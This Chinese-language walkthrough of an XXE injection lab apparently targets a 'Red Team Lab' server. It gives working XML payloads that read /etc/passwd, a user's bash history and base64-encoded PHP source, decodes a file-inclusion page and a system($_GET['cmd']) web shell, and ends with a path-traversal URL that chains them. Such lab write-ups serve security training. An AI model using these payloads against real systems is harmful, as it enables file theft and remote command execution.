XXE漏洞案例一

可扩展性标记语言 Extensible Markup Language

xml是互联网数据传输的重要工具,它可以跨越互联网任何的平台,不受编程语言和操作系统的限制,非常适合Web传输,而且xml有助于在服务器之间穿梭结构化数据,方便开发人员控制数据的存储和传输。

参考资料:https://xz.aliyun.com/t/6754#toc-5

XML external entity (XXE) injection

全称是可扩展性标记语言外部实体注入

案例一

1

危害:任意文件读取、DOS、命令执行、内网端口探测

poc1 : 读取/etc/passwd

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abc [
<!ENTITY ab SYSTEM "file:///etc/passwd">
]>

<root><name>&ab;</name><tel>11111111</tel><email>yb@sq.co</email><password>12345</password></root>

2

poc2: 查看历史记录

prod-admin这个路径是/etc/passwd文件中,存在的路径,查看这个用户输入的历史记录

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abc [
<!ENTITY ab SYSTEM "file:///home/prod-admin/.bash_history">
]>

<root><name>&ab;</name><tel>11111111</tel><email>yb@sq.co</email><password>12345</password></root>

poc3: 查看php文件

php文件在web服务器不能直接访问,需要通过伪协议进行加密,然后再解密查看

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abc [
<!ENTITY ab SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/Lab-User.php">
]>

<root><name>&ab;</name><tel>11111111</tel><email>yb@sq.co</email><password>12345</password></root>

PD9waHAKJGZpbGUgPSAkX0dFVFsncGFnZSddOwppZihpc3NldCgkZmlsZSkpCnsKaW5jbHVkZSgiJGZpbGUiKTsKfQplbHNlCnsKaW5jbHVkZSgiaW5kZXguaHRtbCIpOwp9Cj8+Cgo=

Lab-User.php

1
2
3
4
5
6
7
8
9
10
11
<?php
$file = $_GET['page'];
if(isset($file))
{
include("$file");
}
else
{
include("index.html");
}
?>

Lab-Admin.php

1
2
3
4
5
6
7
8
9
10
11
12
PD9waHAKZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsKPz4KCjxodG1sPgo8aGVhZD48dGl0bGU+UmVkIFRlYW0gTGFiPC90aXRsZT48L2hlYWQ+Cjxib2R5Pgo8aDE+IFJlZCBUZWFtIExhYiBBZG1pbmlzdHJhdGlvbjwvaDE+CjwvYm9keT4KPC9odG1sPgo=

<?php
echo system($_GET['cmd']);
?>

<html>
<head><title>Red Team Lab</title></head>
<body>
<h1> Red Team Lab Administration</h1>
</body>
</html>

Lab-Admin.php存在命令执行漏洞,而
渗透路径只能访问/var/www/html目录,而Lab-Admin.php路径为/var/www/Lab-Admin.php

所以只能通过本地文件包含漏洞来访问,访问方式为
http://172.16.250.2/Lab-User.php?file=../Lab-Admin.php

3